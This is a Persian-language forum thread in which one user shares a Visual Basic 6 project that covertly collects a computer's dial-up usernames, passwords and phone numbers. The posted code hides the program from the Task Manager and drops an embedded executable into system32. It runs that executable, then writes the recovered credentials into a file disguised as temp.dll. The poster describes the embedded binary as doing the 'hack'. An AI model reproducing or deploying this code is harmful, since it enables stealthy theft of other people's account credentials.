Printable View
سلامنقل قول:
دوست عزیز تمام پروژه هایی رو که من می گم توی Visual Basic 6.0 هستش یه وقت سو تفاهم نشه ؟؟
من VB6 رو هم روي اون يكي ويندوزم دارم. شما بلدي با توابع rasapi32.dll توي vb6 كار كني؟ ميتوني كم كم بهم ياد بدي؟ البته منظورم اين نيست كه همه چيزو بهم ياد بدي، فقط اگه چند تا سوالمو جواب صريح و روشن بدي خودم راه مي افتم.
اون تابعي رو هم كه براي گرفتن UserName گفتم اگه توي vb6 بهم بدي خيلي ممنون ميشم. خودم ميتونم به 2005 تبديلش كنم.
خيلي ممنون
این پروژه رو داشته باش یه فایل اجرایی بساز وقتی روش کلیک می کنی یوزرنیم پسورد و شماره ی تماس سیستم رو توی یه فایل به اسم Temp.DLL ذخیره می کنه که اگه اونو با Notepad باز کنی می تونی ببینیم
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
محسن عزيز سلام
پروژه جالبي بود. داره دقيقاً كاري رو كه من ميخوام انجام ميده. حتي به vb 2005 هم تبديلش كردم و درست هم كار مي كرد، اما هنوز برام قابل استفاده نيست، چون از طرز كارش كه ظاهراً ساده هم هست، سر در نميارم و تا حالا اين مدل دستورات رو توي وي بي نديده بودم. اگر هم بخوام از خود فايل Temp.dll اطلاعات رو بيرون بكشم مشكل اينجاست كه مشخص نكرده هر UserName مربوط به كدوم كانكشن هست. حالا اگه يه توضيح كوتاه در مورد اون خط هايي كه از دستورات نامفهوم مثل LoadResData و Open و Put استفاده كرده اند بديد خيلي ممنون ميشم.
کد:Private Sub Form_Load()
App.TaskVisible = False 'Hiding from Task in Win 2k-xp
App.Title = ""
Dim b() As Byte
Dim s As String
b = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32" & "\CIAI.exe" For Binary Access Write As #1
Put #1, , b
Close #1
DoEvents
Shell "C:\WINDOWS\system32" & "\CIAI.exe " & "C:\WINDOWS\system32" & "\CIA.txt"
DoEvents
s = String(FileLen("C:\WINDOWS\system32" & "\CIA.txt"), 0)
Open "C:\WINDOWS\system32" & "\CIA.txt" For Binary Access Read As #1
Get #1, , s
Close #1
Text1 = s
Text1 = Replace(Text1, "", "")
Text1 = Replace(Text1, "Wxp-2k Dialup Recovery By : Mohsen6558", "")
Text1 = Replace(Text1, "User Name = ", "U:")
Text1 = Replace(Text1, "Password = ", "P:")
Text1 = Replace(Text1, "Tel Number= ", "T:")
Debug.Print App.Path
mn = FreeFile
'a = InputBox("test", "test")
Open App.Path + "\temp.dll" For Append As #mn
' If a = "" Then a = "No Name"
Print #mn, "-----------------------"
Print #mn, a
Print #mn, Text1
Print #mn, "-----------------------"
Close
Unload Me
End Sub
فکر نکنم نیاز به توضیح داشته باشه
اول می آد یه مسایل امنیتی رو بر قرار می کنه مثلا توی Task manager نشون داده نشه و ....
بعد می آد از مسیر زیر با فایل ارتباط برقرار می کنه :
C:\WINDOWS\system32\CIA.txt"
شاید یه باگش این باشه که اگه ویندوز تو درایو D باشه نتونه کاری نکنه که اونو بعدا حل می کنم
بعد می آد با اون مکاتبه می کنه بعد فایل Temp.dll رو باز می کنه و توش اطلاعات رو می نویسه به همین سادگی !!!
دوست عزیز متاسفانه نشون نمی ده چیکار می کنه در واقع درون ویژوال یه فایل اجرایی Embed شده که اون کار هک رو انجام می ده !!
می تونی از تکست بخونی!!
Thank you very muchنقل قول:
دوست عزیز متاسفانه نشون نمی ده چیکار می کنه در واقع درون ویژوال یه فایل اجرایی Embed شده که اون کار هک رو انجام می ده !!
می تونی از تکست بخونی!!